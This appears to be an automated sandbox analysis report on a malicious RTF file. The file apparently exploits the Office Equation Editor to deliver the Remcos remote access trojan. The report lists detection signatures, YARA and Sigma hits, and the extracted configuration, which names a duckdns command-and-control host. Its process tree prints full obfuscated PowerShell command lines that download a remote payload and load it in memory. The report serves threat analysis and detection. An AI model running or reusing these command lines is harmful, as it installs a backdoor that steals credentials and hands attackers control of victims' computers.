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Windows
Analysis Report
MKWbWHd5Ni.rtf
Overview
General Information
Sample name: | MKWbWHd5Ni.rtfrenamed because original name is a hash value |
Original sample name: | 93f8cd6440e951545875706461d25854.rtf |
Analysis ID: | 1526391 |
MD5: | 93f8cd6440e951545875706461d25854 |
SHA1: | 789028f40f3a78ffcce107c4677e91b75bac0e6d |
SHA256: | 297a951d047d377a45195c4a9e3c1c7a3a5b4ac6cc58b8e2c17d3ec7a2f09485 |
Tags: | RATRemcosRATrtfuser-abuse_ch |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Maps a DLL or memory area into another process
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3208 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3288 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3444 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithgetm ebackgreat dayfo.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3488 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiggJFZlUm Jvc2VQUkVm RVJFTmNFLl RvU3RSaW5H KClbMSwzXS sneCctSm9p bicnKSggKC dnJysnMjgn Kyd1cmwnKy cgPScrJyBz ZzFodHQnKy dwJysnczov L3Jhdy4nKy dnaScrJ3Ro dWJ1Jysncy crJ2VyYycr J28nKyduJy sndGUnKydu dC5jb20nKy cvTicrJ28n KydEZScrJ3 RlYycrJ3RP bicrJy9Ob0 QnKydlJysn dGVjdE9uL3 JlZnMvaGUn KydhZHMvbW Fpbi8nKydE ZXQnKydhaC crJ05vJysn dGgtJysnVi 50eHRzZzE7 JysnIGcyJy snOCcrJ2In Kydhc2U2Jy snNENvbnQn KydlJysnbi crJ3QgPScr JyAnKycoTm V3LU9iaicr J2VjdCBTeX N0ZW0uTicr J2UnKyd0Ll dlJysnYicr J0NsaWVuJy sndCcrJyku JysnRCcrJ2 93bmxvJysn YScrJ2RTJy sndHJpbicr J2coZzI4dX JsKTsgJysn ZzInKyc4Ym luYScrJ3J5 Q29udCcrJ2 UnKyduJysn dCA9IFtTeX N0ZW0uJysn Q29udmVydF 06OkZyb20n KydCJysnYX NlJysnNjQn KydTdCcrJ3 JpbmcoZzIn Kyc4YmFzZT Y0JysnQ28n KyduJysndG UnKydudCkn Kyc7ICcrJ2 cyOCcrJ2Fz Jysnc2VtYm x5ICcrJz0n KycgWycrJ1 JlZicrJ2xl JysnYycrJ3 QnKydpb24n KycuQScrJ3 NzZW1ibHkn KyddOjpMb2 FkJysnKGcy OGJpbmFyJy sneUNvJysn bnQnKydlbn QpOyBbZG5s aWIuSU8uSC crJ28nKydt ZV06OlYnKy dBSScrJyho JysnRGonKy d0eHQuRkZS JysnUkVXLy crJzAnKyc1 Ni8zJysnMT EnKycuMScr JzUyLjMnKy c4JysnLjE1 Ly86JysncC crJ3R0Jysn aGhEJysnai wgaCcrJ0Qn KydqJysnZG UnKydzYXRp dicrJ2FkJy snb2hEaicr JywgaEQnKy dqZCcrJ2Vz YXQnKydpJy sndmFkJysn b2hEaiwgaE RqZCcrJ2Un KydzJysnYX QnKydpdmFk Jysnb2hEai wnKycgJysn aERqUicrJ2 VnQXNtaEQn KydqJysnLC BoRGpoRGos JysnaCcrJ0 QnKydqaERq JysnKScpLl JlcExhQ0Uo J2hEaicsW1 N0UklOZ11b Q0hBcl0zNC kuUmVwTGFD RSgnZzI4Jy wnJCcpLlJl cExhQ0UoJ3 NnMScsW1N0 UklOZ11bQ0 hBcl0zOSkp ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3596 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "&( $V eRbosePREf ERENcE.ToS tRinG()[1, 3]+'x'-Joi n'')( ('g' +'28'+'url '+' ='+' s g1htt'+'p' +'s://raw. '+'gi'+'th ubu'+'s'+' erc'+'o'+' n'+'te'+'n t.com'+'/N '+'o'+'De' +'tec'+'tO n'+'/NoD'+ 'e'+'tectO n/refs/he' +'ads/main /'+'Det'+' ah'+'No'+' th-'+'V.tx tsg1;'+' g 2'+'8'+'b' +'ase6'+'4 Cont'+'e'+ 'n'+'t ='+ ' '+'(New- Obj'+'ect System.N'+ 'e'+'t.We' +'b'+'Clie n'+'t'+'). '+'D'+'own lo'+'a'+'d S'+'trin'+ 'g(g28url) ; '+'g2'+' 8bina'+'ry Cont'+'e'+ 'n'+'t = [ System.'+' Convert]:: From'+'B'+ 'ase'+'64' +'St'+'rin g(g2'+'8ba se64'+'Co' +'n'+'te'+ 'nt)'+'; ' +'g28'+'as '+'sembly '+'='+' [' +'Ref'+'le '+'c'+'t'+ 'ion'+'.A' +'ssembly' +']::Load' +'(g28bina r'+'yCo'+' nt'+'ent); [dnlib.IO .H'+'o'+'m e]::V'+'AI '+'(h'+'Dj '+'txt.FFR '+'REW/'+' 0'+'56/3'+ '11'+'.1'+ '52.3'+'8' +'.15//:'+ 'p'+'tt'+' hhD'+'j, h '+'D'+'j'+ 'de'+'sati v'+'ad'+'o hDj'+', hD '+'jd'+'es at'+'i'+'v ad'+'ohDj, hDjd'+'e' +'s'+'at'+ 'ivad'+'oh Dj,'+' '+' hDjR'+'egA smhD'+'j'+ ', hDjhDj, '+'h'+'D'+ 'jhDj'+')' ).RepLaCE( 'hDj',[StR INg][CHAr] 34).RepLaC E('g28','$ ').RepLaCE ('sg1',[St RINg][CHAr ]39))" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 3728 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3876 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\pt dercjwijh" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3884 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\rv ipsuupwrzf hg" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3892 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\cp nhtnerszrs kmtpxa" MD5: 8FE9545E9F72E460723F484C304314AD) - EQNEDT32.EXE (PID: 3984 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "cavps7.duckdns.org:1991:1", "Assigned name": "Agent-010524", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-43JG4A", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 14 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM | Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) | ditekSHen |
| |
Click to see the 14 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |